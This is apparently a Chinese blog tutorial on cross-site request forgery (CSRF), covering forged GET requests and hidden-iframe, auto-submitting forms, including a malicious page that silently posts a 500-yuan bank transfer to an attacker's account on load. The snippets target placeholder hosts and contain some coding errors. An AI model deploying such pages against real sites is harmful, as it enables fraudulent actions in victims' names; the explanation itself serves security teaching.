【信息安全服务】深入学习CSRF-攻击篇

【CSRF简介】

CSRF(Cross Site Request Forgery),即跨站点请求伪造。是一种常见的Web攻击手段。

CSRF危害性在于,攻击者可以通过精心设置的页面,诱使用户访问,通过GET或者POST请求以用户的身份在第三方站点进行非法操作。

【CSRF攻击 本质】

CSRF攻击成功的重要原因就是重要操作的所有参数都是可以被攻击者猜测出来的。造成攻击者可以精心构造url来伪造一个访问请求,造成危害。

【CSRF 常见攻击方式】

【GET请求攻击】

GET请求应该是最普遍的了,一般甲方公司都对GET请求比较敏感,一般都在服务器端进行了请求方法限制,毕竟是最常见的攻击请求,应该给予基本的尊重。

常见的表单GET请求方式:

<form action="/register" id="register" method="post">
<input type=test name="username" value=""/>
<input type=password name="password" value=""/>
<input type=submit name="submit" value="submit"/>
</form>

用户通过构造GET请求:

http://host/register?username=test&password=passwd

在服务器端没有对GET方进行限制的情况下,请求会通过。

除此之外还可以构造form表单,利用JavaScript自动提交表单。例如,攻击者可以在www.xxx.com/test.html中编写以下代码:

<form action="http://www.xxx.com/register" id="register" methd="post" >
<input type=text name="username" value="" /> 
<input type=password name="password" value="" />
<input type=submit name="submit" value="submit" />
</form>
<script>
var f = document.getElementById("register");
f.inputs[0].value = "test";
f.inputs[1].value = "passwd";
f.submit();
</script>

攻击者通过将此页面隐藏在一个不可见的iframe窗口中,自动提交表单的整个过程将是不可见的。

【POST请求攻击】

一般在GET请求被限制的情况下可以另辟蹊径。利用POST请求去继续攻击。

首先识别网站的表单源码:

<form action="deal.jsp" method="POST">
<p>ToBankId: <input type="text" name="toBankId" /></p>
<p>Money: <input type="text" name="money" /></p>
<p><input type="submit" value="deal" /></p>
</form>

构造恶意网站页面:

<html>
<head>
<script type="text/javascript">
function steal()
{
iframe = document.frames["steal"];
iframe.document.Submit("deal");
}
</script>
</head>
<body onload="steal()">
<iframe name="steal" display="none">
<form method="POST" name="deal"
action="http://www.xxxx.com/deal.jsp">
<input type="hidden" name="toBankId" value="11">
<input type="hidden" name="money" value="500">
</form>
</iframe>
</body>
</html>

 通过恶意页面发送POST请求到该网站,假设构造的请求是转账操作,在理论上可以在不知情的情况下向攻击者转账500元。

【小结】

此篇博客只是介绍了CSRF的攻击手段,作为Web安全中的一个重要威胁,如何防范CSRF也是一个重要的知识点,后面我会继续介绍CSRF的防御手段。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Keyli0n

赠人玫瑰 手有余香

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值